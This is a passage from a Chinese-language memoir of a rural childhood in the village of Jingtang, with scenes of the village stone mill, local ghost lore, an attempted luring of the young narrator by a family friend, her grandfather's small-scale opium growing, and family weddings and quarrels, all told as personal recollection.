我吓得遑遑不可终日,我爷爷倒是一点都不害怕。我爷爷说,真正有大的地震的时候,人想跑是跑不了的,因为地会裂缝,洪水会把人给淹了。这样的话让我更加害怕了。那时正是秋季,天气并不是很冷。我没事就跟小伙伴跑到梨树行里,是去摘柿子,也是想去躲地震。平静的梨树林里,没有青石磊成的房屋,地震时,不会遭受被石头砸死的痛苦。只是躲得过白天,躲不过黑夜,晚上还要回家。那时候,白天的、傍晚的梨树行让我感到从未有过的踏实和安心。那时候,生与死的无常,就已经入了我的心,迷惑了我的魂。 4 .南荆堂的碾 爸爸摘柿子的梨树行在北荆堂北边,与北荆堂隔着一条公路。北荆堂的这条东西大路,也通向西岭。北荆堂经济发展的比南荆堂要好,北荆堂的路比南荆堂的路要平坦,还铺上了细细的石子。可是我还是爱南荆堂的路。北荆堂的路南边儿,就是我们家的祖坟,那里埋着老爷爷、老奶奶,还有一个没出嫁就夭折了的姑奶奶。这儿有几棵老槐树,树上有乌鸦之类的鸟儿。 路北是大片覆盖着青石和茅草的土地,我跟二妞姐偶尔来这儿玩。地上多的是干净的青白色的山石和黄褐色、红褐色的的茅草。我们席地而坐,或是拉呱,或是画画。 画画用的文房四宝都是石头。二姐很会画画,她用一个小石头作笔,在一块块巴掌大的石头上画出各种各样的花朵。二姐把那些带画儿的石头给我,我看着那些石头,石头上,是用石头画出来的一朵朵白色线条儿的花朵。有的石头上是一朵花,有的石头上是一盆花,有的石头上是月季,有的石头上是菊花,有的石头上是四掰儿的花儿。二姐画了送给我,我也想跟着她学着画,但是总是没有她画的好,也没有她画的有味道。我喜欢二姐,十来岁的她,身上有着特别的、我喜欢的味道。我们在这儿一玩就是半天。 身边的茅草从里,是默无声息的黄色的土地,和一丛丛的茅草,还有一块块像小羊羔一样温柔地匍匐在地里的蓝白色的石头。我有时候就那样自己坐在那里,那儿仿佛就是我的家,我在那儿一坐就想坐一整个秋天。 我也常常跟着二姐去她家里玩。她家就是我二姑、二姑夫家。二姑家没有儿子,只有两个女儿。大姐长大了,不常跟我们这些小孩一起玩。二姐旗下聚集了一群小孩子来追随她。我们在她家里唱歌,讲故事,捉迷藏,在她家里爬树。 二姐家堂屋门前有一棵苦楝树,她感冒了,吸溜着黄鼻涕往上爬,还不忘了朝树下喊:“恁离我远一点啊,我淌鼻子!黄浪鼻!别掉到恁头上去了!” 晌午,二姐估摸着题法老爷爷不在枣行,她和几个打头的将官一鼓动,我们一群小孩子就跨过山芋沟,直奔题法老爷爷的枣行而去。夏日的山芋沟,山芋秧子最为茂盛,郁郁葱葱,我担心里头藏着他们说的“白了线”,心里害怕,脚底发慌。“白了线”就是白蛇。他们说,有的“白了线”都要成精了,在山芋沟里,遇到人,它就会追。它追人的速度比人跑得还要快。它跑起来不沾地面,那就是飞了。人迈开大步跨出去,“白了线”也紧跟着飞过去。那时候,我们正看《新白娘子传奇》,我看着脚下被地瓜叶子遮盖地严严实实的山芋沟,想着他们说的“白了线”。 就算没有那么多“白了线”吧,可是还 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枣树下用石头砌起了墙,我站在枣树下,那墙上的石头就在我的头顶上。我不喜欢河北沿,这儿的石墙太高,这儿的地势太低,这儿的树荫太密。站在那儿,我仿佛站在谷底,看不到我的荆堂。 听说二爷爷家的二裙姑也去偷过枣子。据说当时是夜半,题法老爷爷来树下看枣子。闻听树上有人晃动。抬头一看,是二裙姑。题法老爷爷先开口说:“孙女子啊,你筐里头装满了吗?该回家了吧!”二裙姑羞得满脸通红,筐子都不要了,赶紧跑走。 后来的一天,大姐带着我们从河沿游玩归家的路上,路过家东张大老爷的桃林,她又带领众小将去偷桃。那时候桃子还不是很大,比鸡蛋还要小,并不会很好吃。我就站在桃林远处的石薄连上不动,任她们去桃树底下摘桃子。她们不以为然,只有我心里忐忑不安。 二姐家也在村西头,她家东边是南荆堂的唯一的一个石碾。庄上很多人都挎着箢子、端着簸箕去庄西头轧碾。碾磙子是一块圆圆的月饼形的大石头,立在一整块半人高的,像小船那样长的石槽上。在碾磙子中间,凿开一个圆圆的洞,插上十年的树木那么粗的碾杆子。在石槽里均匀地撒上粮食,推动碾杆子,碾磙子在石槽里“吱呀吱呀”地来回走动,那些山芋干子、玉米粒子就被它踩扁了。 山芋干子晒地干干的、脆脆的,一磙子推过去,“戚啦咔嚓”,石槽里的山芋干子,就变得稀碎。再慢慢轧,能把山芋干子轧成粉。轧玉米就有点困难了,千里之行始于足下,玉米粒子小,又容易打滑,起初成效不显眼,慢慢地,一步步地推碾,玉米就一点点被轧碎了。也有人端着小瓢,轧炒熟的芝麻,香味儿扑鼻。只要是想要粉碎的粮食,无论是准备给人吃的,还是喂猪养鸡养狗的,都可以拿来轧。 有时候,有人正在轧了,那后来的就在后面排排号,或者帮着前面正在轧碾的妇女轧。轧碾是个体力活,但是两个妇女说着话、拉着呱,不大一会儿就完成了。轧完以后,用随身带的瓢子、笤帚,把石槽里的粮食都带走、扫净,是节约自家的粮食,也是把碾打扫干净,方便后来人。 这个石碾也是我爷爷打磨的,石磙子,木杆子,石槽心,全部滑溜溜的。爷爷是个酒鬼,说话做事不讨人喜,很多人也不搭理他,但是他亲手打磨的石碾,却被很多人络绎不绝地光顾。庄上人,生活处处离不开碾。一捧子花生米,一碗芝麻盐,一瓢子豆子,说一声去轧碾,就端到碾上轧轧,轧好了,笤帚一扫,就端回家了。轧过芝麻盐的碾,那碾磙子上还是油乎乎的,跟被水泼了一样,最妙的是那碾磙子上还是喷香的。 轧碾只要一个人,两个人会更轻快。熟练的大人,一手推碾,一手在石槽里翻动粮食,使碾磙子更均匀地碾压粮食,加快轧碾的速度。奶奶一开始只让我跟着推碾,不让我上手,怕轧着手。后来我熟练了,忍不住也上手去翻动粮食。有时候不小心,也会有被碾磙子压着手的时候,还要自己反应快,及时收手,可是手指头还是被压地生疼。 有人要轧很多的粮食,那就要起五更了。早早地起来,挎着箢子,挑着挑子,披星戴月来轧碾。五更露头的,碾在庄西头,靠着西岭,靠着西岭下石塱里的坟地。一个妇女,如果没有人作伴,未免有些瘆得慌。据说,有个老人早五更轧碾,就遇到了“毛人子”。她来轧碾,看见一个“人”在轧碾,她以为是哪个相熟的姊妹娘们儿,就上去帮忙推碾,一边帮忙推碾,一边跟那“人”说话儿:“你也来轧碾的啊”,她说。对方只是低头轧碾,并不吭声。她再三追问,那人猛地抬起头来,她一看,像磨刀石一样的鬼脸:红眼睛、绿鼻子,还有两个毛蹄子!哎哟,吓死人啦。她登时魂飞魄散,赶紧逃回家去,回家以后就卧床不起,拉绿色、红色的屎,据说是吓破了胆,不久就一命呜呼了。老年人讲地头头是道,哪家哪户,有名道姓。我不知道这事儿是真是假,但是不管真假,都让我感到害怕。 我奶奶边轧碾边跟我说:“有一个小丫头儿,她跟着她晚娘。她脸上啊,可丑了,疤瘌麻子的。头发也乱七八糟的,头上生的脓疮、虱子,头顶上鼓鼓囊囊地,跟顶个碗似的。这一天啊,皇帝派个大臣来选娘娘了。庄上的人都把家里的小丫头儿送去选娘娘。选娘娘的大臣谁都没看上,就看中这个小丫头了。大家都不明白是怎么回事儿哦。大臣跟着小丫头儿到她家里,叫丫鬟给她梳洗打扮。丫鬟一给她梳头,一个乌金碗从她头上掉下来了。原来,恁些年,小丫头儿头上顶的是乌金碗。乌金碗一掉下来,小丫头立马变得美貌清俊的。原来人家是娘娘命。老天爷有意让她那么丑,是为了保护她的。怕她晚娘给她使坏。” 俺们南荆堂的碾很精致、小巧,我稍微大一点,一个人也可以推得动。 北荆堂的碾,就没有这么小巧漂亮。北荆堂的碾,也是一个大青石做的碾磙子,但是那大青石的颜色不是蓝白色,而是青绿色,比南荆堂的碾颜色暗淡了许多。而且,北荆堂的碾,那磙子巨大,石槽也巨深,像我这样的小丫头推起碾杆子,就吃力多了,同时,也增加了许多轧到手的危险。而且,那巨大的月饼似的碾磙子两侧,那石头面儿也丝毫没有经过细致的打磨,坑坑洼洼,粗糙不堪。肯定不是出自我爷爷的手下。因此,北荆堂的碾,我不常去。我妈妈倒是常去那儿。大概因为那个碾磙子壮大,碾起地瓜干“戚啦咔嚓”,又快,又来劲吧。 5.闪耀着的黄色的黄瓜花 “母子之间,无话不谈”,我妈妈经常这样跟我说。可是这件事我跟谁也没有说起过。那时候我才四五岁吧,还没有上学呢。对方也没有给我造成什么伤害,即使我跟我妈妈说了,她也不会太当回事儿吧,我自己有时候也早就忘记了。 我爸爸那时候有一个玩的很好的小兄弟,我跟他叫三叔,他们家姓什么,我忘记了,只记得他叫海良,我想随便给他按个姓,但是,实在想不起来了,也不想无辜地脏了别的姓,那就先不给他姓吧,反正他叫海良,这个是没错儿的。 海良当时估计顶多二十岁出头儿,还没有结婚。他家兄弟三个,他跟他二哥都还没有结婚,他家大哥结婚了。大哥很老实,话不多,是庄上的电工,经常被爷爷奶奶叫到家里来,看电线方面的问题。他管着庄上的电,经常穿着脚蹬子爬上我爷爷奶奶家门口的电线杆子。 海良经常去我家,跟我爸爸很熟络,我爸爸拿他很亲切。因为我是小孩儿,除了见面叫个三叔,也不怎么跟他搭谈。但是我对海良印象不好。印象中,他游手好闲,没事儿经常围着庄转,眼睛里泛着一些不务正业的光。我觉得他不是什么好人,脑子里没寻思什么好事儿。 海良的大哥的新瓦房就在我爷爷奶奶家右后方,也就是西北角儿。我去我爷爷奶奶家必然会经过海良大哥家。那应该是春夏之交的一个正午,我在爷爷奶奶家附近玩儿。我看到海良从我爷爷奶奶家门口经过,因为他是我爸爸的好兄弟,我就跟他打招呼,喊他“三叔”。他叫我跟他去他大哥家里玩儿。 “大省,跟我去俺哥家里玩吧,我摘黄瓜给你吃。”他说。我当时隐约觉得跟他走不太好,但是,大概是因为我想吃黄瓜,又或者我觉得这个三叔难得地这么友好地待我,我就跟着他走了。 他带我去了我爷爷奶奶屋后头的他大哥的家里,他大哥一家子不在家。他家院墙内外,长了很多亭亭玉立的青青的苘馒头。海良就带着我,在他大哥家大门口儿里头的水泥斜坡上坐下。我跟他对着他大哥家的屋门口坐着,正对面就是他大哥家堂屋的屋门,刷了绿漆的屋门是紧闭着的。堂屋东边,海良大哥家东边的夹道子里,种着一架黄瓜,黄瓜架子上滴了八挂地垂着几条青翠的黄瓜,当时是春夏之交的天气吧,黄瓜花正开地耀眼,一朵朵的小花在晴朗的天光下,金黄金黄的。 “大省,我们压个儿吧。压个儿可好玩儿了。”他看着我说。此刻,我想起了他的脸,那是一张黄棕色的长脸,单眼皮,厚嘴唇。他看着我。我看着大门,他把大门栓栓上了。 我当然不想跟他压个儿,但是当时我觉得我跟他叫三叔,我也是个小孩儿,又或许我还想吃黄瓜,所以我还是笑眯眯地,没有大喊大叫。 “我去摘黄瓜给你吃。”海良说。他真的去摘了一根黄瓜给我吃。我知道他这是为了诱惑我,要是在平时,他根本舍不得。但是我当时确实是想吃黄瓜,我就接过他的黄瓜吃了起来。 “好大省,咱们压个儿行吗?”海良看着我说。 “我要去俺爷爷奶奶家了。”我说。海良把大门插上了门栓,是防止我出去的,我知道。海良大哥家跟我爷爷奶奶家很近,我一回头就可以看见我爷爷家的西山墙的墙角。如果他真的不让我出去,我除了喊叫,可能真的出不去。但是,我爷爷奶奶家那么近,如果我哭闹,喊人,我爷爷奶奶很可能会听的到。这也是海良没敢怎么阻拦我的原因。而且,我妈妈也不是一个软弱无能的女人,全庄上都知道我妈妈嗓门大,能讲会道,遇事据理力争,不会忍气吞声。我想,这也是海良顾虑的原因。 海良打开大门把我给放了出去。我就这样有惊无险地回到了爷爷奶奶家。这件事,我后来好像没有跟我妈妈说起过。我为什么不跟我妈妈说呢。还是我跟我妈妈说过了,我妈妈没有当回事儿呢。 这几年,我把我的童年的记忆拼拼凑凑倒给了我自己。这小小的一段记忆我时而想起,时而忘记。我有所顾虑,不想说,怕说不好,也怕说了不好。虽然没什么伤害,但是想起来,还是觉得心灵上受了创伤,我本不该面对那样一个人,面对他的恶心的语言的。我知道那些离开父母亲的孩子,尤其是女孩子,是多么可怜,她们要担着比男孩儿更多的风险。我也知道,一个女孩儿,从她还是个不懂事的婴孩儿起,她就担着比男孩儿更多的恐惧,所以,她更值得她的爸爸妈妈去更好地看护和珍惜。 6.抱犊崮、白山、东山、黄山 奶奶是东边儿张庄门儿的闺女,听爷爷说她叫张远荣,平时从来没人喊她名字,只叫她“喜儿她娘”。“喜儿”是我爸爸的小名儿。奶奶是大脚,干活什么的很利落。 奶奶有一阵子眼睛不好了,老是淌眼泪,流眼屎。她带着我,去牧羊沟看眼。我跟她一起看了眼回来,经过庄东头的杨树行,杨树行里有几棵柿子树,上头结了红彤彤的柿子。奶奶就脱了鞋,“哧溜溜”爬上树,去摘柿子给我吃。那时候,奶奶也得五十多岁了。爬树这样的事儿,对于山区的人来说,并不是一件稀奇的事儿。 她从树上下来,掏出来手帕擦着眼睛说:“我这个眼啊,都是因为恁爸爸。恁爸爸在东北的时候,看山林,失了火,他给家里写信,说他被逼上梁山了。我在家里急的。那些日子,我光是哭,就把眼给哭毁了。”那是我难得地看到我奶奶跟我爸爸还有些母子情分的时刻。是了,我爷爷叫“聋子”,我奶奶叫“麻子”,又叫“瞎子”。我奶奶的“瞎子”大概是从这儿来的。 我嘴里生疮了,我奶奶说:“是上火了,痕点儿白矾就好了。”白矾这种东西,在我奶奶那里,是可以有的。我奶奶很快就找来了一块亮晶晶的白矾,敲碎了,给我嘴里痕上一块儿。 晚上,我跟着奶奶一起去有白事儿的人家家里听喇叭。我听着听着就瞌睡了。我睡在奶奶怀里,我奶奶抱着我,任我在她的怀里睡着。可是我睡不着,我依偎在奶奶的怀抱里,我知道奶奶根本不够疼我,她对我只是应付而已。我这样想着,依偎在奶奶的既温暖又不是很踏实的怀里。 荆堂四面环山。荆堂南面不远处是黄山,此是小黄山,非彼大黄山,然而在我幼时却是最为触目可及,最为神秘。老人们都说此黄山山下空洞洞,是一个老鼋在驮着山。此鼋在山下世代繁衍,山下都是它的子子孙孙。因为黄山下面地处会宝岭水库,我便也相信了这个典故。 会宝岭水库在荆堂西边,大坝上有一个指挥部,早年修指挥部的时候,爷爷曾经参与其中。会宝岭水库水面浩瀚无边。爷爷说,水里的妖精,会兴起妖风,把人家的姑娘刮走,带到它的洞府里做媳妇。多年以后,即使这个姑娘能够返回娘家,但是她沾了妖气,穿了妖精给她的衣裳,娘家人也不会认得她了。 会宝岭西边是抱犊崮。抱犊崮的山峰像几间屋子,那么近,仿佛就在眼前。可是又那么远,想到抱犊崮不知道要走多少天。我小时候在西岭上玩,常常远远地看着抱犊崮,那屋形的山顶想必有神仙居住吧。那山顶的紧闭的石屋子里,肯定有很多世上没有的金银财宝吧。远游的孩子如果找不到家,就朝着抱犊崮走吧,看到抱犊崮就看到家了,走到抱犊崮就走到自己的来处了。 会宝岭边上、荆堂北边儿,是白山,一个满庄都是嶙峋山石的小山村。白山庄靠着白山。 白山以东,荆堂的东北角是黄连山。这个山上山草多,奶奶还有东院的二奶奶曾经一起挑着箩筐,带着我,去黄连山偷人家的山草。山草呈绛红色,长长的,油光光的,像大公鸡的羽毛,可以缮屋顶,遮风挡雨,比麦秸好得多。 那时,正是秋天,山上刮着最自由的风,那些山草在风里舞动,即使是枯了黄了,它们还是那么富有生命。奶奶割山草,我就在一边儿玩。突然,看山的老头像是赤脚大仙似的从南面吆喝着赶过来了。他训斥着我奶奶,抓着我奶奶的箩筐不肯放行。 “这些草,俺自己都没割的,恁跑来割!恁凭什么割的!”看山的老头儿冲着我奶奶说。我二奶奶就站在东北角上。那个老头儿也不说她。 我吓地大哭,拱到奶奶怀里。我奶奶面朝南坐在山石上哄着我,跟对方僵持着,让他不要吓着小孩。我知道此时此刻,我得像是一个道具一样依偎在奶奶怀里,我哭地更凶了。我得用我的哭来衬托老头的凶猛,来化解我奶奶的尴尬,来博取那个老头儿的同情。我奶奶好像不怎么害怕。如我所料,她果然温柔慈祥地安慰着我。 “你别吓着小孩儿!”我奶奶边鲜有地抚摸着我的头,边跟那个站着的气呼呼的老头儿说。 “不是看你带着小孩儿,我早就把你粪箕子留下来了!”看山的老头儿说。 我奶奶跟我二奶奶平安无事地背着空粪箕子带着我回去了。 我后来回南乡的时候,就把这事儿禀告给了我妈妈。我本来是想向我妈妈展示我奶奶的慈祥的,毕竟她是那么慈祥地安慰了我啊。谁知道我妈妈听了以后,很生我奶奶的气。 “老养汉!天天不干正事儿!自己去偷东西还不算完,还要连累的小孩儿也跟着担惊受怕。”我妈妈边低头缝着针线边骂。 我一脸愕然,瞧,我妈妈又骂我奶奶了。 荆堂正东边儿是东山,东山那个庄上也有爷爷家的一家朋友,他是油坤二爷爷。油坤二爷爷经常挑着挑子敲着梆子来荆堂卖油卖醋。他家两个儿子,大儿子的媳妇是我爷爷介绍的,是大翠的小姑姑,当时大翠的奶奶死活不同意,上门把我爷爷骂了好几天,怪我爷爷把她闺女推向火坑。 油坤二爷爷的大儿子结婚的时候,奶奶带我去坐席吃“八大碗”。因为我爷爷是媒人,我奶奶那天还是“大客”,坐席的时候还坐的是主桌主位。我爷爷坐在男桌,我奶奶带着我坐在女桌。 坐席一开始的冷盘有芥末蘸猪肉片。那时候,我因为厌恶黄色的难看的刺鼻的芥末,从来不碰这道菜,可是现在再也不见这道菜的影子了。不止是这道菜,其他的那些我心目中的真正的“八大碗”也看不到了。 吃“八大碗”的时候,我最爱吃的是“山药琉璃”。厨子用熬好的山药和着糖稀、花生,一起堆成假山的模样,端上席来,泛着透明琥珀光。用筷子一打,“哗啦”碎开,大家一片一片夹着吃,又香又甜。 我爱吃的还有小炸虾,用面糊子裹着炸的小草虾,香香的、酥酥的。我经常悄悄藏起一点放在手帕里,等回家以后再慢慢享用。听我妈妈说,她跟我爸爸去结婚登记那天,到了中午吃饭的时候,我爸爸就在小饭馆儿里点了一盘子炸虾,还有一盘子猪头肉。因为有了这个典故,我对炸虾就更有感情了。 我也爱吃酥肉、酥鱼,大块的面粉裹着一片肉或是一尾小鱼一起炸了,再熬成一碗一碗的,吃起来可香了,比大块的猪肉粉条子还要香。 那时候的“八大碗”,家家户户都差不多,差不多的小勺子,差不多的冷盘,差不多的酥肉、酥鱼……我们都清楚地知道上菜的顺序。 吃完酥肉、酥鱼,接下来,就是猪肉粉条子了。大家都摩拳擦筷,严阵以待。等猪肉粉条子端上来了,可是斯文不得。站起身儿,猫着腰,竖起筷子捞粉条子。我战绩总是不佳。后来有经验的二姐告诉我,用筷子捞起你决定要征服的粉条子,然后再把筷子翻身一拧,那筷子粉条子就完完全全属于你了。后来我把这个战术在实战中测验了一下,果然效果不凡。可惜现在再也没有捞粉条子大战,否则还可以向后人传授一下经验。 大翠本来还有一个大姑,嫁到凤安那边的庄上了。冬天,去大棚地里掀大棚的时候,两个人吵架了,男的朝女的扔了一个辣疙瘩,正好打到耳朵门子上,把女的给打死了。闺女到底是被怎么打死的,只是男方的一家之言。是不是还有其他的虐待,娘家人不得而知。娘家人去奔丧,发狠儿要给死去的姑娘争气,有的兄弟、侄儿身上别了斧头、砍刀。到了男方家里,娘家人腰里鼓鼓囊囊别着的凶器,被男方家的人发现了,双方的大战一触即发。娘家的人不仅没有给闺女争上一口气,反而被追得四散奔逃。 “我去给俺二姑烧纸,姓刘的都去了。我别了个斧子,在我怀里!”大翠的堂哥小二说。 “俺二姑夫哭地‘啊啊’地出来给俺磕头。俺要揍他,他那边的人,就跟俺打起来了!我撒腿就跑!”小二笑着说,“我‘咕咚咕咚’!一口气跑回来了!” “那怎么办?恁二姑就这样白白地被恁二姑夫给打死了?”庄上的小伙伴问他。 “君子报仇,十年不晚。等我长大了,我再去揍他!”小二说。 大翠的小姑很快生了孩子,是一个小女孩。油坤二爷爷、二奶奶,脾气好,为人厚道,拿着儿媳妇高高在上。大翠的姑姑在婆家一点都不受气。公公婆婆给小两口儿带着孩子,小两口商商量量过日子。 大翠的姑姑经常骑着自行车,自行车上挂着滴了八挂的东西,来看望大翠的奶奶。大翠家就住在庄里,每次她来,一庄上的老老少少都看得到,谁不羡慕人家。大翠的奶奶出来就跟人说:“没想到能得这个小闺女的济。”但我看她的样子,她对我爷爷还是恨恨的,从来不跟我爷爷搭腔,好像是我爷爷始终亏欠了她什么似的。我那时就想,她不是应该感谢我爷爷给她家闺女说的这门好亲吗。 油坤二爷爷的二儿子还没有媳妇,油坤二爷爷挑着挑子敲着梆子来荆堂卖油的时候,还是客客气气地先到我爷爷家里坐坐。给我爷爷带一瓶醋,或是一瓶子香油。八月十五的时候,还会给我爷爷带上两包月饼,打上二斤酒。 每次油坤二爷爷来我爷爷家,我爷爷都乐呵呵地。我也高兴,觉得油坤二爷爷是我爷爷最好的亲眷。油坤二爷爷也笑呵呵的。 油坤二爷爷想让我爷爷再给他二儿子介绍个媳妇。 5. 大姑、二姑的姻缘 1.大姑、二姑的姻缘 我爷爷是个酒鬼、烟鬼。但是他可谓多才多艺。他会给人锻磨、剃头,有时候还拉几下二胡,喝醉了唱几句戏。爷爷自己有一杆旱烟袋,烟袋包里装着黄色的烟丝子。爷爷捏一把烟丝子按进烟袋锅子里,点上洋火就开始吸烟了。老头子布满胡须的嘴“叭叭”地响着,蓝白色的烟圈儿一个个、一股股地四散开来。我就在爷爷白色的烟圈儿里玩耍。那时候不知道吸烟有害健康,反而觉得黄色的烟丝和白色的烟圈儿,味道都不是很坏。 爷爷的烟袋嘴儿,是翠绿色的,据爷爷自己说,那是玉石的。为了保持烟杆子里的烟道顺畅,爷爷时常清理烟袋杆子。他先把烟袋嘴子卸掉,再找一根长长的、有韧劲的狗尾巴草,慢慢续进烟杆子里,再慢慢抽出来,狗尾巴草抽出来的同时,带出来的是黄黑色的烟油,带着浓浓的焦油味儿,把洁白的狗尾巴草都染成黄褐色的了。 爷爷抽的烟丝是他自己种的大烟。 我在爷爷家小花园的石台子上见过一株大烟,就种在爷爷家靠墙东的小花园里。干了的大烟泡儿,像干透了的小核桃似的果子,不难看。 “种大烟是犯法的。可别出去说哈!”我爷爷说,“大烟有毒。以前的人,不想活了,就吃大烟膏子。俺一个婶子就是吃了大烟膏子死的。” “种大烟犯法 ,那你还搁当天井种的,爷爷?你不怕人家看到吗?”我问爷爷。 “我就种一棵,留着好看的。种一棵没事儿。”我爷爷说。 “那你吸的那些大烟都是种哪儿的?” “我搁哪儿种的,不能让怹们知道噢。我就种西岭上,怹们不注意看不到。”我爷爷说。 就在我爷爷的家门口儿的天井里,躺着一棵新鲜的大烟,那是他不经意间带回来的。绿色的叶子,红色的花,比一般的花都要好看。 爷爷把大烟收割了以后,就带回家晾晒,晒干了,一束一束捆起来吊在梁头上。尺把儿长的黄褐色的烟叶子,被一小捆一小捆地吊起来,挂在房梁上,发出浓浓的烟味儿。爷爷有空了,拿一捆放在簸箕里,搓碎了,研细了,当做烟叶子吸,高兴了,送一些给相好的老兄弟,多余的,他拿到集上去卖。 爷爷爱喝酒,整瓶的兰陵大曲,兰陵二曲,爷爷不常买。爷爷都是去竹来的小店里打散酒喝。爷爷用来装酒的家伙,是一个盐水瓶子。盐水瓶子上头,是一个胶皮的瓶塞,瓶子底上站着一棵人参。爷爷平时喝酒,用的是一个白底小红花的白瓷酒盅。天气冷的时候,饭菜端上来,爷爷就拿出他的铁酒壶,这铁酒壶很是小巧可爱,爷爷用它温酒喝。每逢家里有顿好菜或是请人吃饭,爷爷必是摔打着酒壶,喝个痛快。 没有什么菜肴的时候,爷爷也会想办法创造一个下酒菜。有时候,爷爷煮两个鸡蛋,拿出蒜臼子,里边放上几个青红辣椒、几瓣蒜,跟鸡蛋一起捣碎,倒进碟子里,油盐酱醋调一下,味道好极了。有时候,爷爷规规矩矩切上几个青辣椒,一片片放在小碟子里铺好,调上香油,也可以慢慢悠悠喝上几盅。用爷爷的话说,真正会喝酒的人,一个蚂蚱腿儿都可以喝上四两酒。 爷爷喝醉了会唱戏。家里有什么让人发愁的事,他非但不愁不哭,反而喝了酒,跑到庄西头石塱里,睡在大石头上唱戏。三叔不高兴,邻居老娄奶奶就跟三叔说:“恁爹唱的是苦戏啊!” 记得有一个夏天,我跟我爷爷奶奶、三叔一起吃饭,奶奶炒的青辣椒和豆橛子。大妞姐跟我说:“咱比赛,看谁能吃辣椒子,我让你,你吃一个,我吃十个。”我那时候还小,不敢吃辣,就夹了一片辣椒皮吃。大妞姐见我吃完就拿起筷子,夹起一堆辣椒皮,抖一抖,一下子全吃到嘴里。 我吃完饭就跑到庄西头找大姐、二姐玩。二姑经常留我吃煎饼,我也乐得享用二姑家的煎饼。二姑家的煎饼比我奶奶家的煎饼掺的粮食多。我奶奶家的煎饼大部分是山芋干子,发甜,没有二姑家的煎饼有粮食味儿。二姑家的腌咸菜缨子也有一股特别的烟火味儿。 “俺小的时候,跟着恁爷爷,吃不上喝不上,恁爷爷吃独食。有一回,我跟人姊妹几个一块儿搁生产队里耪地,俺家杀了猪。我边耪地边跟人家说,‘俺爹杀了猪了,这回俺晌午回家有肉吃了!’人家都说,‘咱今天晌午早点儿收工,让家爱回去好好吃顿肉。’等我回到家,刚进大门儿,就看到恁爷爷在摆乎肉来。他把肉一层一层拿盐码好,放到坛子里,他自己吸溜着两个手,一点儿也没给俺吃!” “恁爷爷就这样!”我二姑用她的嘴吸溜着她的手说。 我看了一下俺二姑,俺二姑学我爷爷的样子真有些惨不忍睹。我一点都不想看俺二姑表演。我那时是体会不到二姑的心情。我没遇到那样的爹,二姑的心情,我是永远都不可能体会到了。 我爱跟着二姐玩。她二叔、三叔家的几个小孩儿也跟着她玩儿。二姐很会踢毽子,踢鸡毛毽子,踢布毽子,踢铜钱、尼龙绳儿做的毽子。 有时候不想出去了,就在她家里玩儿。夏天,我们一起躺在她家堂屋里头的凉席上,外头阴云密布,劈雷和闪的,我正给我二姐她们讲《红珠女》呢。 “红珠女被她嫂子的银针扎在脊梁骨上,吱地一声下了原形。她老大伯哥拿着个斧子就要去劈死她。”我津津有味地讲着。我二姐她们聚精会神地听着。 “吱!”我猛然间放了一个屁,大家哄堂大笑。 “哈哈哈哈!大省放屁了!” “俺都等着听大省拉呱的。大省放了一个屁!哈哈哈哈!” “大省这回下原形了!放屁精!” “哈哈哈哈!大省是个放屁大王!” 后来的一天,不知道因为什么,二姐哭闹着非让我滚,再也不让我去她家了。我当时还在吃着她家的煎饼呢。二姐哭地很厉害,一把鼻涕一把眼泪的,她拿着二姑烙煎饼的竹劈子,骑在她家大门槛上,哭着让我走。 “让大省滚!不要她搁俺家!”我二姐骑在她家大门槛上,哭着说。 我手里拿着二姑给我卷的一页子煎饼,还不想走,我看看我二姑。 “我就不让大省走!你凭什么让她走的?”我二姑喝问我二姐说。 “这是俺家,不是她家!她凭什么来的!她来俺家就不行!”二姐大哭着说。 “我就不让她走!我看你能怎么办?”我二姑说。 “她再不走我就劈死她!”二姐哭着说。 “我走吧,二姑!”我拿着煎饼看着我二姑说。 “不走!你就别走!我看看她能怎么办!”我二姑说。 “让她快滚!我就不让她来俺家!”我二姐肝肠寸断地说。 “大省儿,你就别走!我让她走我都不让你走!”我二姑说。 “我走吧?二姑?”我看着俺二姑恋恋不舍地说。 “你不走!你就别走!”俺二姑说。 “她不走我劈死她!啊!”我二姐大哭着说。 “二姑,我走了?”我看着我二姑说。 “那你走啊?”我二姑看着我说。 “我走了。二姑。”我跟我二姑说。 我后来就不怎么去我二姑家了。我这样莫名其妙地跟我二姐生分了。只在大街上玩儿的时候碰见了,还跟她一起踢踢毽子。 二姑、二姑夫很少来我爷爷家,逢年过节来爷爷奶奶家的是大姑、大姑夫。 我奶奶家有大姑家的照片,有一张是大姑跟大姑夫的。大姑夫长得白净秀气,他端端正正地坐着,大姑站在他身后。他们的身后,是一排排的戏服。 另一张照片,是大姑家的全家福。大姑夫、大姑站在后排,前排坐着她的公婆。爷爷怀里抱着大孙子,大孙子怀里抱着一只小黑猫。奶奶怀里抱着大孙女,大孙女头顶上扎着两个小辫子,可可爱爱。四个大人全是白衣黑裤,大奶奶脑后头窝个小缵儿,大姑留着不到肩膀的头发,一家子通体的好看、干净、立整。 大姑、大姑夫是经常来奶奶家的贵宾。他们推着洋车子说到就到了。 “大姑!大姑夫!”我喊道。 “娘哎,俺闺女跟俺客来了!”我奶奶惊喜地说。 大姑进屋来落了座儿,就从挎包里掏出来一大把糖疙瘩给我。大姑每次来都给我带糖疙瘩。透明包装纸包裹着红色、绿色、橙色的糖疙瘩。大人们在屋里热热闹闹地坐着说话。我尽情地在嘴里吃着、往挎包里装着,兴奋地跑出去又跑进来。 “俺有糖疙瘩!”我嘴里痕着糖疙瘩说,“呐!给你糖疙瘩吃!” “谁给你买的?”人家问我说。 “俺大姑给我买的。俺大姑来了!”我说。 有一次,我奶奶带我去我大姑家。去大姑家要翻山越岭。虽然路很远,但我很喜欢。 “奶奶!俺大姑家搁哪啊?” “恁大姑家在‘星星’。”我奶奶说。 “星星”这个地方离奶奶家有些远,我跟着奶奶去她家要绕过一座山。我们走在衰草连天的山脚下,奶奶指着脚下的山草告诉我说:“这是黄连,黄连可苦了。‘晚娘的心,黄连的根’。黄连去火。” 我们走过山脚,再走过遍野的荒草地,就到了大姑家。大姑、大表姐,大姑的婆婆在家。 “大姑!大姐!大奶奶!”我朝她们喊道。 “哎!大省来了?”她们说。 “姥娘!”我大表姐娇滴滴地说。 “哎!胭脂啊。”我奶奶说。 “他大姐夫呢?”我奶奶问。 “他搁外头外干活儿的。娘来。”我大姑说。 “银环呢?”我奶奶问。 “银环上学去了。”我大姑说。 大表哥在外上学,大表姐在家。她在天井里洗完脚,脚踩在两边的盆沿儿上,跟我说:“大省,你把我的袜子跟鞋垫子拿给我!” 我乖乖地把她的袜子和鞋垫子拿给她。 “哎!大省真好!”我大姐夸我说。 大姑家里养兔子,生了很多小兔崽子,那些小兔崽子灰灰的、绒绒的,跟小老鼠一样。 